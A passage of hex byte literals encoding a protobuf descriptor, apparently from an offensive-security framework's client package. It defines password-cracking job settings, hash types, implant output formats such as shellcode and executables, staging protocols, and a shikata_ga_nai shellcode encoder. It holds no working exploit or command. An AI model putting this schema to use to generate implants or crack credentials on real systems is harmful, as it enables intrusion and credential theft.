0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, + 0x69, 0x6c, 0x65, 0x52, 0x0f, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, + 0x66, 0x69, 0x6c, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x41, 0x63, + 0x63, 0x65, 0x6c, 0x18, 0x4d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, + 0x6c, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x12, 0x20, 0x0a, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, + 0x4c, 0x6f, 0x6f, 0x70, 0x73, 0x18, 0x4e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x4b, 0x65, 0x72, + 0x6e, 0x65, 0x6c, 0x4c, 0x6f, 0x6f, 0x70, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x4b, 0x65, 0x72, 0x6e, + 0x65, 0x6c, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x18, 0x4f, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x0d, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x12, 0x2e, + 0x0a, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x56, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x57, + 0x69, 0x64, 0x74, 0x68, 0x18, 0x50, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x12, 0x42, 0x61, 0x63, 0x6b, + 0x65, 0x6e, 0x64, 0x56, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x57, 0x69, 0x64, 0x74, 0x68, 0x12, 0x1a, + 0x0a, 0x08, 0x53, 0x70, 0x69, 0x6e, 0x44, 0x61, 0x6d, 0x70, 0x18, 0x51, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x08, 0x53, 0x70, 0x69, 0x6e, 0x44, 0x61, 0x6d, 0x70, 0x12, 0x22, 0x0a, 0x0c, 0x48, 0x77, + 0x6d, 0x6f, 0x6e, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x52, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x0c, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x26, + 0x0a, 0x0e, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x54, 0x65, 0x6d, 0x70, 0x41, 0x62, 0x6f, 0x72, 0x74, + 0x18, 0x53, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0e, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x54, 0x65, 0x6d, + 0x70, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x63, 0x72, 0x79, 0x70, 0x74, + 0x54, 0x4d, 0x54, 0x4f, 0x18, 0x54, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x53, 0x63, 0x72, 0x79, + 0x70, 0x74, 0x54, 0x4d, 0x54, 0x4f, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x6b, 0x69, 0x70, 0x18, 0x55, + 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x53, 0x6b, 0x69, 0x70, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x69, + 0x6d, 0x69, 0x74, 0x18, 0x56, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x4c, 0x69, 0x6d, 0x69, 0x74, + 0x12, 0x1a, 0x0a, 0x08, 0x4b, 0x65, 0x79, 0x73, 0x70, 0x61, 0x63, 0x65, 0x18, 0x57, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x08, 0x4b, 0x65, 0x79, 0x73, 0x70, 0x61, 0x63, 0x65, 0x12, 0x1c, 0x0a, 0x09, + 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x5a, 0x20, 0x01, 0x28, 0x0c, 0x52, + 0x09, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x47, 0x65, + 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x18, 0x5b, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x0d, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, + 0x12, 0x30, 0x0a, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, + 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x69, 0x6e, 0x18, 0x5c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, 0x47, + 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, + 0x69, 0x6e, 0x12, 0x30, 0x0a, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, + 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x61, 0x78, 0x18, 0x5d, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, + 0x6e, 0x4d, 0x61, 0x78, 0x12, 0x32, 0x0a, 0x14, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, + 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x63, 0x53, 0x65, 0x6c, 0x18, 0x5e, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x14, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, + 0x73, 0x46, 0x75, 0x6e, 0x63, 0x53, 0x65, 0x6c, 0x12, 0x2c, 0x0a, 0x11, 0x47, 0x65, 0x6e, 0x65, + 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x53, 0x65, 0x65, 0x64, 0x18, 0x5f, 0x20, + 0x01, 0x28, 0x05, 0x52, 0x11, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, + 0x65, 0x73, 0x53, 0x65, 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, + 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x31, 0x18, 0x60, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, + 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x31, 0x12, 0x26, + 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x32, + 0x18, 0x61, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, + 0x61, 0x72, 0x73, 0x65, 0x74, 0x32, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, + 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x33, 0x18, 0x62, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, + 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x33, 0x12, 0x26, + 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x34, + 0x18, 0x63, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, + 0x61, 0x72, 0x73, 0x65, 0x74, 0x34, 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, + 0x66, 0x79, 0x18, 0x64, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, + 0x66, 0x79, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x18, + 0x65, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, + 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x69, 0x6e, + 0x18, 0x66, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, + 0x74, 0x4d, 0x69, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, + 0x74, 0x4d, 0x61, 0x78, 0x18, 0x67, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x49, 0x6e, 0x63, 0x72, + 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x61, 0x78, 0x12, 0x26, 0x0a, 0x0e, 0x53, 0x6c, 0x6f, 0x77, + 0x43, 0x61, 0x6e, 0x64, 0x69, 0x64, 0x61, 0x74, 0x65, 0x73, 0x18, 0x68, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x0e, 0x53, 0x6c, 0x6f, 0x77, 0x43, 0x61, 0x6e, 0x64, 0x69, 0x64, 0x61, 0x74, 0x65, 0x73, + 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x18, + 0x69, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, + 0x65, 0x72, 0x12, 0x2a, 0x0a, 0x10, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, + 0x72, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x6a, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x10, 0x42, 0x72, + 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x20, + 0x0a, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x18, 0x6b, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x12, 0x30, 0x0a, 0x13, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x46, + 0x65, 0x61, 0x74, 0x75, 0x72, 0x65, 0x73, 0x18, 0x6c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x42, + 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x46, 0x65, 0x61, 0x74, 0x75, 0x72, + 0x65, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x18, + 0x6d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, + 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x6e, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x24, + 0x0a, 0x0d, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, + 0x6f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x61, 0x73, 0x73, + 0x77, 0x6f, 0x72, 0x64, 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x70, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x42, 0x72, 0x61, 0x69, + 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x34, 0x0a, 0x15, 0x42, 0x72, 0x61, 0x69, + 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x57, 0x68, 0x69, 0x74, 0x65, 0x6c, 0x69, 0x73, + 0x74, 0x18, 0x71, 0x20, 0x01, 0x28, 0x09, 0x52, 0x15, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x57, 0x68, 0x69, 0x74, 0x65, 0x6c, 0x69, 0x73, 0x74, 0x22, 0x8d, + 0x01, 0x0a, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x1a, + 0x0a, 0x08, 0x41, 0x75, 0x74, 0x6f, 0x46, 0x69, 0x72, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x08, 0x41, 0x75, 0x74, 0x6f, 0x46, 0x69, 0x72, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x61, + 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, + 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, + 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, + 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61, + 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, + 0x52, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x22, 0x87, + 0x01, 0x0a, 0x0a, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x29, 0x0a, + 0x05, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, + 0x65, 0x52, 0x05, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x2a, 0x0a, 0x10, 0x43, 0x75, 0x72, 0x72, + 0x65, 0x6e, 0x74, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x03, 0x52, 0x10, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x44, 0x69, 0x73, 0x6b, 0x55, + 0x73, 0x61, 0x67, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, + 0x73, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4d, 0x61, 0x78, 0x44, + 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x22, 0xfb, 0x02, 0x0a, 0x09, 0x43, 0x72, 0x61, + 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, + 0x64, 0x41, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, + 0x65, 0x64, 0x41, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x4c, 0x61, 0x73, 0x74, 0x4d, 0x6f, 0x64, 0x69, + 0x66, 0x69, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4c, 0x61, 0x73, 0x74, + 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2a, 0x0a, 0x10, + 0x55, 0x6e, 0x63, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x53, 0x69, 0x7a, 0x65, + 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x10, 0x55, 0x6e, 0x63, 0x6f, 0x6d, 0x70, 0x72, 0x65, + 0x73, 0x73, 0x65, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x19, 0x0a, 0x08, 0x53, 0x68, 0x61, 0x32, + 0x5f, 0x32, 0x35, 0x36, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x53, 0x68, 0x61, 0x32, + 0x32, 0x35, 0x36, 0x12, 0x2b, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, + 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, + 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, + 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, + 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x49, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, + 0x73, 0x73, 0x65, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, + 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, + 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, + 0x69, 0x7a, 0x65, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, + 0x53, 0x69, 0x7a, 0x65, 0x12, 0x30, 0x0a, 0x06, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x73, 0x18, 0x64, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x52, 0x06, + 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x73, 0x22, 0x64, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, + 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x72, 0x61, 0x63, + 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, + 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x49, 0x44, 0x12, 0x0c, 0x0a, 0x01, 0x4e, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x01, 0x4e, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, + 0x18, 0x09, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x2a, 0x5b, 0x0a, 0x0c, + 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x0e, 0x0a, 0x0a, + 0x53, 0x48, 0x41, 0x52, 0x45, 0x44, 0x5f, 0x4c, 0x49, 0x42, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, + 0x53, 0x48, 0x45, 0x4c, 0x4c, 0x43, 0x4f, 0x44, 0x45, 0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x45, + 0x58, 0x45, 0x43, 0x55, 0x54, 0x41, 0x42, 0x4c, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x53, + 0x45, 0x52, 0x56, 0x49, 0x43, 0x45, 0x10, 0x03, 0x12, 0x0f, 0x0a, 0x0b, 0x54, 0x48, 0x49, 0x52, + 0x44, 0x5f, 0x50, 0x41, 0x52, 0x54, 0x59, 0x10, 0x04, 0x2a, 0x2d, 0x0a, 0x0d, 0x53, 0x74, 0x61, + 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x07, 0x0a, 0x03, 0x54, 0x43, + 0x50, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x54, 0x54, 0x50, 0x10, 0x01, 0x12, 0x09, 0x0a, + 0x05, 0x48, 0x54, 0x54, 0x50, 0x53, 0x10, 0x02, 0x2a, 0x2d, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, + 0x54, 0x79, 0x70, 0x65, 0x12, 0x0b, 0x0a, 0x07, 0x4e, 0x4f, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, + 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x42, 0x49, 0x4e, 0x41, 0x52, 0x59, 0x10, 0x01, 0x12, 0x08, 0x0a, + 0x04, 0x54, 0x45, 0x58, 0x54, 0x10, 0x02, 0x2a, 0x30, 0x0a, 0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, + 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x08, 0x0a, 0x04, 0x4e, + 0x4f, 0x4e, 0x45, 0x10, 0x00, 0x12, 0x12, 0x0a, 0x0e, 0x53, 0x48, 0x49, 0x4b, 0x41, 0x54, 0x41, + 0x5f, 0x47, 0x41, 0x5f, 0x4e, 0x41, 0x49, 0x10, 0x01, 0x2a, 0x98, 0x13, 0x0a, 0x08, 0x48, 0x61, + 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x07, 0x0a, 0x03, 0x4d, 0x44, 0x35, 0x10, 0x00, 0x12, + 0x08, 0x0a, 0x03, 0x4d, 0x44, 0x34, 0x10, 0x84, 0x07, 0x12, 0x08, 0x0a, 0x04, 0x53, 0x48, 0x41, + 0x31, 0x10, 0x64, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x32, 0x32, 0x34, 0x10, + 0x94, 0x0a, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xf8, + 0x0a, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xb0, 0x54, + 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xa4, 0x0d, 0x12, + 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x32, 0x32, 0x34, 0x10, 0x94, 0x87, 0x01, 0x12, + 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xf8, 0x87, 0x01, 0x12, + 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xdc, 0x88, 0x01, 0x12, + 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xc0, 0x89, 0x01, 0x12, + 0x0f, 0x0a, 0x0a, 0x52, 0x49, 0x50, 0x45, 0x4d, 0x44, 0x5f, 0x31, 0x36, 0x30, 0x10, 0xf0, 0x2e, + 0x12, 0x10, 0x0a, 0x0b, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x32, 0x35, 0x36, 0x10, + 0xd8, 0x04, 0x12, 0x1a, 0x0a, 0x15, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x32, 0x5f, + 0x31, 0x31, 0x5f, 0x32, 0x30, 0x31, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xb4, 0x5b, 0x12, 0x1a, + 0x0a, 0x15, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x32, 0x5f, 0x31, 0x31, 0x5f, 0x32, + 0x30, 0x31, 0x32, 0x5f, 0x35, 0x31, 0x32, 0x10, 0x98, 0x5c, 0x12, 0x14, 0x0a, 0x0f, 0x47, 0x4f, + 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x34, 0x5f, 0x31, 0x31, 0x5f, 0x39, 0x34, 0x10, 0xf4, 0x35, + 0x12, 0x09, 0x0a, 0x03, 0x47, 0x50, 0x47, 0x10, 0xf2, 0x84, 0x01, 0x12, 0x0d, 0x0a, 0x08, 0x48, + 0x41, 0x4c, 0x46, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xec, 0x27, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, + 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x32, 0x32, 0x34, 0x10, 0xa4, 0x8a, 0x01, 0x12, 0x10, 0x0a, 0x0a, + 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x32, 0x35, 0x36, 0x10, 0x88, 0x8b, 0x01, 0x12, 0x10, + 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xec, 0x8b, 0x01, + 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xd0, + 0x8c, 0x01, 0x12, 0x0e, 0x0a, 0x09, 0x57, 0x48, 0x49, 0x52, 0x4c, 0x50, 0x4f, 0x4f, 0x4c, 0x10, + 0xd4, 0x2f, 0x12, 0x0c, 0x0a, 0x07, 0x53, 0x49, 0x50, 0x48, 0x41, 0x53, 0x48, 0x10, 0xf4, 0x4e, + 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, + 0x46, 0x12, 0x11, 0x0a, 0x0c, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, + 0x45, 0x10, 0xaa, 0x01, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x5f, 0x55, + 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xbe, 0x0b, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, + 0x33, 0x38, 0x34, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xf6, 0x54, 